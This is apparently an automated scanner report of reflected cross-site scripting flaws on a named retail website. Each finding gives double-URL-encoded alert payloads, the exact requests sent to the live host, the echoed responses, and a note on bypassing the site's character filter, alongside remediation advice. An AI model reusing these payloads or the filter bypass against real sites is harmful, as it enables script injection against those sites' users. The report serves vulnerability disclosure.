<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<h
...[SNIP]...
<![CDATA[
s.pageName="404:http://www.dunnedwards.com:80/js/dnncore.js3ae99";alert(1)//edc79d9f9f9"
s.channel=""
s.server="DEserver1"
s.pageType="errorPage"
s.events=""
s.products=""
s.purchaseID=""
s.transactionID=""
s.campaign=""
s.state=""
s.zip=""
s.eVar1="Page Not Found"
s.eVar2=""
...[SNIP]...

1.51. http://www.dunnedwards.com/retail/content.asp [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dunnedwards.com
Path:   /retail/content.asp

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9190c%2522%253balert%25281%2529%252f%252f57f65b3d75b was submitted in the REST URL parameter 1. This input was echoed as 9190c";alert(1)//57f65b3d75b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /retail9190c%2522%253balert%25281%2529%252f%252f57f65b3d75b/content.asp HTTP/1.1
Host: www.dunnedwards.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: language=en-US; path=/; HttpOnly
X-Powered-By: ASP.NET
Date: Wed, 05 Oct 2011 17:12:05 GMT
Connection: close
Content-Length: 66690

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<h
...[SNIP]...
<![CDATA[
s.pageName="404:http://www.dunnedwards.com:80/retail9190c";alert(1)//57f65b3d75b/content.asp"
s.channel="Homeowners"
s.server="DEserver1"
s.pageType="errorPage"
s.events=""
s.products=""
s.purchaseID=""
s.transactionID=""
s.campaign=""
s.state=""
s.zip=""
s.eVar1="Page
...[SNIP]...

1.52. http://www.dunnedwards.com/retail9190c%2522%253balert%2528document.location%2529%252f%252f57f65b3d75b/favicon.ico [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dunnedwards.com
Path:   /retail9190c%2522%253balert%2528document.location%2529%252f%252f57f65b3d75b/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript rest-of-line comment. The payload 8981b%250aalert%25281%2529%252f%252f795b01ba423 was submitted in the REST URL parameter 1. This input was echoed as 8981b
alert(1)//795b01ba423
in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /retail9190c%2522%253balert%2528document.location%2529%252f%252f57f65b3d75b8981b%250aalert%25281%2529%252f%252f795b01ba423/favicon.ico HTTP/1.1
Host: www.dunnedwards.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=dg8hURS6zAEkAAAAYjFjMWQ2NDUtN2ZlYi00Y2ZlLTk1MGEtZDhhZjYwYTQ1Mjcz0; ASP.NET_SessionId=oj4n4xvmlec1hyu0ycu1kr45; language=en-US; colorChipCartGUID=eb8103c4-9900-43d6-a176-44f5fb2e4205; s_cc=true; SC_LINKS=%5B%5BB%5D%5D; s_sq=%5B%5BB%5D%5D; __utma=61151417.995708719.1317835068.1317835068.1317835068.1; __utmb=61151417.1.10.1317835068; __utmc=61151417; __utmz=61151417.1317835068.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/1; s_vi=[CS]v1|27464889851D3A91-40000104C000AFF0[CE]

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: language=en-US; path=/; HttpOnly
X-Compressed-By: DotNetNuke-Compression
X-Powered-By: ASP.NET
Date: Wed, 05 Oct 2011 17:19:47 GMT
Content-Length: 66936

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<h
...[SNIP]...
<![CDATA[
s.pageName="404:http://www.dunnedwards.com:80/retail9190c";alert(document.location)//57f65b3d75b8981b
alert(1)//795b01ba423
/favicon.ico"
s.channel=""
s.server="DEserver1"
s.pageType="errorPage"
s.events=""
s.products=""
s.purchaseID=""
s.transactionID=""
s.campaign=""
s.state=""
s.zip=""
s.eVar1="Page Not Found"
...[SNIP]...

1.53. http://www.dunnedwards.com/retail9190c%2522%253balert%2528document.location%2529%252f%252f57f65b3d75b/favicon.ico [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dunnedwards.com
Path:   /retail9190c%2522%253balert%2528document.location%2529%252f%252f57f65b3d75b/favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2c9b0%2522%253balert%25281%2529%252f%252f20311e39e76 was submitted in the REST URL parameter 1. This input was echoed as 2c9b0";alert(1)//20311e39e76 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /2c9b0%2522%253balert%25281%2529%252f%252f20311e39e76/favicon.ico HTTP/1.1
Host: www.dunnedwards.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=dg8hURS6zAEkAAAAYjFjMWQ2NDUtN2ZlYi00Y2ZlLTk1MGEtZDhhZjYwYTQ1Mjcz0; ASP.NET_SessionId=oj4n4xvmlec1hyu0ycu1kr45; language=en-US; colorChipCartGUID=eb8103c4-9900-43d6-a176-44f5fb2e4205; s_cc=true; SC_LINKS=%5B%5BB%5D%5D; s_sq=%5B%5BB%5D%5D; __utma=61151417.995708719.1317835068.1317835068.1317835068.1; __utmb=61151417.1.10.1317835068; __utmc=61151417; __utmz=61151417.1317835068.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/1; s_vi=[CS]v1|27464889851D3A91-40000104C000AFF0[CE]

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: language=en-US; path=/; HttpOnly
X-Compressed-By: DotNetNuke-Compression
X-Powered-By: ASP.NET
Date: Wed, 05 Oct 2011 17:19:40 GMT
Content-Length: 66501

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<h
...[SNIP]...
<![CDATA[
s.pageName="404:http://www.dunnedwards.com:80/2c9b0";alert(1)//20311e39e76/favicon.ico"
s.channel=""
s.server="DEserver1"
s.pageType="errorPage"
s.events=""
s.products=""
s.purchaseID=""
s.transactionID=""
s.campaign=""
s.state=""
s.zip=""
s.eVar1="Page Not Found"
...[SNIP]...

1.54. http://www.dunnedwards.com/retail9190c%2522%253balert%2528document.location%2529%252f%252f57f65b3d75b/favicon.ico [REST URL parameter 2]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dunnedwards.com
Path:   /retail9190c%2522%253balert%2528document.location%2529%252f%252f57f65b3d75b/favicon.ico

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript rest-of-line comment. The payload ccd53%250aalert%25281%2529%252f%252fee008b70279 was submitted in the REST URL parameter 2. This input was echoed as ccd53
alert(1)//ee008b70279
in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /retail9190c%2522%253balert%2528document.location%2529%252f%252f57f65b3d75b/favicon.icoccd53%250aalert%25281%2529%252f%252fee008b70279 HTTP/1.1
Host: www.dunnedwards.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=dg8hURS6zAEkAAAAYjFjMWQ2NDUtN2ZlYi00Y2ZlLTk1MGEtZDhhZjYwYTQ1Mjcz0; ASP.NET_SessionId=oj4n4xvmlec1hyu0ycu1kr45; language=en-US; colorChipCartGUID=eb8103c4-9900-43d6-a176-44f5fb2e4205; s_cc=true; SC_LINKS=%5B%5BB%5D%5D; s_sq=%5B%5BB%5D%5D; __utma=61151417.995708719.1317835068.1317835068.1317835068.1; __utmb=61151417.1.10.1317835068; __utmc=61151417; __utmz=61151417.1317835068.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/1; s_vi=[CS]v1|27464889851D3A91-40000104C000AFF0[CE]

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: language=en-US; path=/; HttpOnly
X-Compressed-By: DotNetNuke-Compression
X-Powered-By: ASP.NET
Date: Wed, 05 Oct 2011 17:19:57 GMT
Content-Length: 66936

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<h
...[SNIP]...
<![CDATA[
s.pageName="404:http://www.dunnedwards.com:80/retail9190c";alert(document.location)//57f65b3d75b/favicon.icoccd53
alert(1)//ee008b70279
"
s.channel=""
s.server="DEserver1"
s.pageType="errorPage"
s.events=""
s.products=""
s.purchaseID=""
s.transactionID=""
s.campaign=""
s.state=""
s.zip=""
s.eVar1="Page Not Found"
s.eVar2=""
...[SNIP]...

Report generated by XSS.CX at Wed Oct 05 12:27:18 CDT 2011.